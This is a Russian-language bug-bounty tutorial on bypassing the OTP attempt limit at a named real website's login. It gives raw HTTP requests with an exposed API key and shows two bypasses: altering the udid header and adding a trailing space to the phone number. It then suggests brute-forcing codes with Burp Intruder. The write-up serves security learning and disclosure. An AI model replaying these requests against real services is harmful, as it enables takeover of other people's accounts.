Обход ограничения на количество попыток при входе через OTP — простая уязвимость для новичков
В этом туториале мы рассмотрим, как обнаружить и использовать уязвимость в виде обхода ограничения на количество попыток при входе через OTP. Это простая, но эффективная ошибка, с которой могут столкнуться начинающие специалисты по безопасности. Мы расскажем, как можно легко найти такие уязвимости в веб-приложениях и мобильных приложениях, которые используют OTP для авторизации.
Что нужно для начала?
Для обнаружения этой уязвимости вам нужно будет найти приложение, использующее вход через OTP. Такие системы часто позволяют пользователю несколько раз вводить неверные коды, но ограничивают количество попыток после нескольких ошибок. Задача заключается в том, чтобы найти способ обойти это ограничение.
1. Поиск уязвимости
Для начала давайте найдем веб-сайт, использующий авторизацию через OTP. В нашем случае мы нашли сайт cricheros.in, который использует OTP для входа. Мы ввели номер мобильного телефона на странице входа и запросили OTP. Как и ожидалось, код был отправлен на телефон. Однако вместо правильного OTP мы ввели неправильный код и начали следить за сетевыми запросами с помощью инструментов разработчика в Firefox.
Шаг 1: Введите мобильный номер и запросите OTP
Шаг 2: Введите неправильный OTP и следите за запросами в сети
2. Перехват запроса
При перехвате запроса мы увидели следующую информацию:
POST /api/v1/user/verify-otp HTTP/1.1
Host: cricheroes.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
api-key: cr!CkH3r0s
udid: 50100646484020100101847
device-type: Firefox: 84.0
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: https://cricheroes.in
Connection: close
Referer: https://cricheroes.in/login
{"country_code":"+91","mobile":"9995******","otp":"70300","isAdmin":1}
После нескольких неправильных попыток мы получили ответ:
{
"message": "Invalid OTP"
}
3. Проверка ограничения на количество попыток
Чтобы проверить, работает ли ограничение на количество попыток, мы отправили несколько одинаковых запросов с неверным OTP. Через 8 неудачных попыток пришло сообщение о превышении числа попыток:
{
"message": "Too many failed attempts. Please try again later."
}
Теперь мы можем приступать к обходу этого ограничения.
4. Обход ограничения на количество попыток
Мы заметили, что в заголовках запроса присутствует параметр udid, который, вероятно, является идентификатором устройства или пользователя. Изменив это значение, можно попробовать обойти ограничение на количество попыток.
Мы изменили значение udid, добавив случайные цифры, и снова отправили запрос:
udid: 12345
udid: 1234567890
После этого мы продолжили получать стандартный ответ "Неверный OTP", но без ограничений на количество попыток. Это значит, что можно продолжать отправлять запросы с разными OTP, просто изменяя udid.
5. Автоматизация с помощью Burp Intruder
Теперь, когда мы знаем, как обойти ограничение, можно автоматизировать процесс с помощью Burp Intruder, чтобы брутфорсить OTP и получить доступ к аккаунту пользователя.
6. Исправление ошибки
Команда на сайте быстро исправила уязвимость, заблокировав возможность изменения udid для обхода ограничений. Мы попробовали разные методы обхода, например, смену IP-адреса или кодирование кода страны в мобильном номере, но все они не сработали.
Однако был найден еще один обходной метод:
Шаг 4: Добавьте пробел в конце мобильного номера
Когда мы добавили пробел в конце мобильного номера, сервер воспринимал это как новый запрос, позволяя продолжать вводить неправильные OTP.
POST /api/v1/user/verify-otp HTTP/1.1
Host: cricheroes.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
api-key: cr!CkH3r0s
udid: 50100646484020100101847
device-type: Firefox: 84.0
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: https://cricheroes.in
Connection: close
Referer: https://cricheroes.in/login
{"country_code":"+91","mobile":"9995******","otp":"70300","isAdmin":1}
Запрос с пробелом в конце мобильного номера:
POST /api/v1/user/verify-otp HTTP/1.1
Host: cricheroes.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
api-key: cr!CkH3r0s
udid: 50100646484020100101847
device-type: Firefox: 84.0
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: https://cricheroes.in
Connection: close
Referer: https://cricheroes.in/login
{"country_code":"+91","mobile":"9995****** ","otp":"70300","isAdmin":1}
С этим трюком мы снова обошли ограничение на количество попыток и продолжили вводить неправильные коды.
Этот метод демонстрирует, как можно обнаружить и обойти ограничение на количество попыток при входе через OTP. Важно проверять такие уязвимости, так как они легко могут быть использованы для атаки на аккаунты пользователей.
Если вы новичок в баг-баунти, не забудьте проверить наличие ограничений на количество попыток в приложениях, использующих OTP.